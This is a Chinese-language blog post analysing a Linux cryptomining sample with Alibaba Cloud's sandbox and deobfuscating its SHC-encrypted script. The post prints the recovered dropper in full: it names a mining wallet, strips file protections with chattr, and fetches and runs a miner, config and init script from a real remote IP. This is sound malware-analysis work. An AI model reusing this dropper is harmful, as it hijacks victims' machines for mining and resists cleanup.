记一次阿里云Linux沙箱体验
2022-7-6 16:48:0 Author: xz.aliyun.com(查看原文) 阅读量:253 收藏

背景

近期收到阿里云安全中心的一个安全告警,就随手扔到了vt上看下是啥东西
md5: d1be07f497cdf665fd019208ec921dc2
但是很意外,VT上查杀结果没有显示这是一个什么类型的恶意文件,而且查杀率也不高。

分析路径

自己在IDA分析了一波,但是一无所获,没有发现任何可疑的函数/字符串之类的

就发现有一些加解密的函数,猜测文件应该是被某种手段混淆处理过,但是具体这个文件做了什么事情是看不出来的

后来提交工单,想要问下这个文件为什么会告警,有哪些恶意行为,得到的回复是阿里云引擎独检,并建议我用他们的沙箱看下这个文件具体的恶意行为。
阿里云沙箱地址:https://ti.aliyun.com/#/sastiFile
在阿里云沙箱给出的文件报告里显示这个文件是挖矿的,在行为标签里看到到该文件下载了两个文件,并且还执行了起来

并且看到一个文件被SHC加密的提示,证实了我的猜测

并且发起了http网络连接,看链接是下载文件

在文件行为里看到样本释放并给了下载的这个文件可执行权限

看到这里释放的config.json文件,猜测是类似XMRig挖矿的配置文件,但是现在链接下载失败了。

还原恶意文件

根据阿里云沙箱给的文件被SHC混淆的提示,在网上找到了相关的资料
SHC源码:https://github.com/neurobin/shc/blob/master/src/shc.c
一个去SHC混淆的工具:https://github.com/yanncam/UnSHc

[[email protected] tmp]# ./unshc.sh d1be07f497cdf665fd019208ec921dc2 
 _   _       _____ _   _      
| | | |     /  ___| | | |     
| | | |_ __ \ `--.| |_| | ___ 
| | | | '_ \ `--. \  _  |/ __|
| |_| | | | /\__/ / | | | (__ 
 \___/|_| |_\____/\_| |_/\___|

--- UnSHc - The shc decrypter.
--- Version: 0.8
------------------------------
UnSHc is used to decrypt script encrypted with SHc
Original idea from Luiz Octavio Duarte (LOD)
Updated and modernized by Yann CAM
- SHc   : [http://www.datsi.fi.upm.es/~frosal/]
- UnSHc : [https://www.asafety.fr/unshc-the-shc-decrypter/]
------------------------------

[*] Input file name to decrypt [d1be07f497cdf665fd019208ec921dc2]
[+] ARC4 address call candidate : [0x479630]
[*] Extracting each args address and size for the 14 arc4() calls with address [0x479630]...
[-] Unable to extract addresses of 14 arc4 args with ARC4 address call [0x479630]...
[+] ARC4 address call candidate : [0x42ff10]
[*] Extracting each args address and size for the 14 arc4() calls with address [0x42ff10]...
[-] Unable to extract addresses of 14 arc4 args with ARC4 address call [0x42ff10]...
[-] Unable to define arc4() call address...

解密失败了,看着项目描述是shc加密的特征是调用14次arc4,但实际上我在IDA看到调用了15次

这时候想到了另一个还原的办法,因为它最终要解密出bash脚本并执行,我可以hook下execve,dump出最后执行的bash代码

#!/bin/bash
rm -rf /dev/shm/.x/temp
directory=/var/tmp/.xrx
wallet=4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL
filetypexrx="/var/tmp/.xrx/xrx: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped"
checkfiletype=$(file $directory/xrx)
ifrunning=$(pgrep xrx)
### Check if /var/tmp/.xrx still exists on the system
if [[ -d "$directory" ]]; then
echo "$directory exists."
else
mkdir $directory
fi

### Basic check if xrx is not a ELF executable or if it's not executable/existing
if [ "$filetypexrx" = "$checkfiletype" ] || ! [ -x $directory/xrx ]; then
echo "miner intact"
else
echo "miner missing/corrupted"
chattr -ia $directory/xrx
rm -rf $directory/xrx
curl 141.95.19.91:8080/xrx/xrx -o $directory/xrx
chmod +x $directory/xrx
fi
### Make sure the wallet in the config is not changed
if grep $wallet $directory/config.json -q ; then
echo "wallet intact"
else
echo "wallet missing/tampered"
chattr -ia $directory/config.json
rm -rf $directory/config.json
curl 141.95.19.91:8080/xrx/config.json -o $directory/config.json
fi
### Make sure init.sh is existing,and executable
if ! [ -x $directory/init.sh ]; then
echo "init.sh missing/corrupted"
chattr -ia $directory/init.sh
rm -rf $directory/init.sh
curl 141.95.19.91:8080/xrx/init.sh -o $directory/init.sh
chmod +x $directory/init.sh
else
echo "init.sh intact"
fi
if test -z "$ifrunning" ; then
echo "xrx not running,starting init.sh"
$directory/init.sh
fi

脚本的逻辑就很清晰了,下载了多个文件,包括挖矿文件和配置文件,还有一个init.sh文件,应该是用来起挖矿进程的。

最后

阿里云这个Linux沙箱用着感觉检测能力还是挺ok的,但是也有几个弊端。比如似乎不会联网、也不能自定义命令行参数、也没看到允许下载恶意文件释放的中间文件...
不过总的来说,还是挺ok了,而且应该后续还会有新功能,持续关注吧。
以后遇样本不决,又多了一个选择(阿里云沙箱)。

阿里云沙箱地址

https://ti.aliyun.com/#/sastiFile


文章来源: https://xz.aliyun.com/t/11522
如有侵权请联系:admin#unsafe.sh